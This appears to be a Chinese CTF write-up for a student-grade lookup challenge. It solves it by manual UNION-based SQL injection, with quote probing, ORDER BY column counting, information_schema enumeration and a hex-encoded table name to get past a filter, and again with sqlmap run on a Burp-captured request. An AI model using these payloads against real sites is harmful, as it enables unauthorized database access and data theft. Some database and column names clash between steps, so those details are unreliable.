解法一:**手动注入**

    输入1,2,3分别能查到1,2,3,号学生的成绩,那么应该可以使用sql注入

    输入**1’返回异常,输入1’—+**返回异常,输入1’#或者1’—+返回正常,看来过滤了—+

    观察。表貌似有四列(名字,Math,English,Chinese)

    输入1’order by 4#返回正常;输入1’order by 5#**返回异常**

    那么确实是4咧。

    接下来开始爆库名、表名、字段名

    sql联合注入,用bp进行爆破(成绩查询) - 图1

    尝试联合查询,记得把前面的查询数据置空,写成id=-1即可,显示正常,说明确确实实存在着四列数据

    我们先手历练一边id=-1’ union select 1,2,3,4#

    发现4个表都有回显

    于是 就开始爆破吧:

    首先先爆出库名:

    通过id=-1’ union select 1,2,3,database()# 得到数据库名字skct_flag

    sql联合注入,用bp进行爆破(成绩查询) - 图2

    然后爆表:

    通过id=-1’union select 1,2,3,group_concat(table_name)from information_schema.tables where table_schema=database()# 得到表fl4g,sc

    sql联合注入,用bp进行爆破(成绩查询) - 图3

    sql联合注入,用bp进行爆破(成绩查询) - 图4

    接下来爆字段:

    通过id=-1’ union select 1,2,3,group_concat(column_name)from information_schema.columns where table_name=0x666c3467#(这里需要用到16进制绕过),得到flag字段

    sql联合注入,用bp进行爆破(成绩查询) - 图5

    最后就是查询数据了:

    通过使用id=-1’ union select 1,2,3,skctf_flag from fl4g#

    sql联合注入,用bp进行爆破(成绩查询) - 图6得到flag




    解法2:**用sqlmap**

    输入1并进行抓包sql联合注入,用bp进行爆破(成绩查询) - 图7

    用右键,点击copy to file保存文件**,在这里,我把文件保存在了**C:\Users\DELL\Documents\333.txt

    保存好后,

    用sqlmap进行爆破,爆破库的代码为**:sqlmap.py -r “C:\Users\DELL\Documents\333.txt” -p id –current-db **

    其中:

    -r 加载一个文件

    -p 指定一个参数;

    ––current-db 获取当前数据库名称

    sql联合注入,用bp进行爆破(成绩查询) - 图8

    这是第一阶段,输入y;爆出sql联合注入,用bp进行爆破(成绩查询) - 图9

    后发现数据库为 **skctf_flag **

    接下来就是爆表(刚刚爆库);

    爆破表的代码为:**sqlmap.py -r “C:\Users\DELL\Documents\333.txt” -p id -D skctf_flag - —tables **

    其中:-D 指定数据库名称

    sql联合注入,用bp进行爆破(成绩查询) - 图10

    发现有两个表,里面应该是fl4g有flag

    再者就是爆破他的字段了:

    爆破字段的代码为:**sqlmap.py -r “C:\Users\DELL\Documents\333.txt” -p id -D skctf_flag -T fl4g -C skctf_flag **–dump

    其中:**dump 列出字段数据**

    sql联合注入,用bp进行爆破(成绩查询) - 图11

    爆出了flag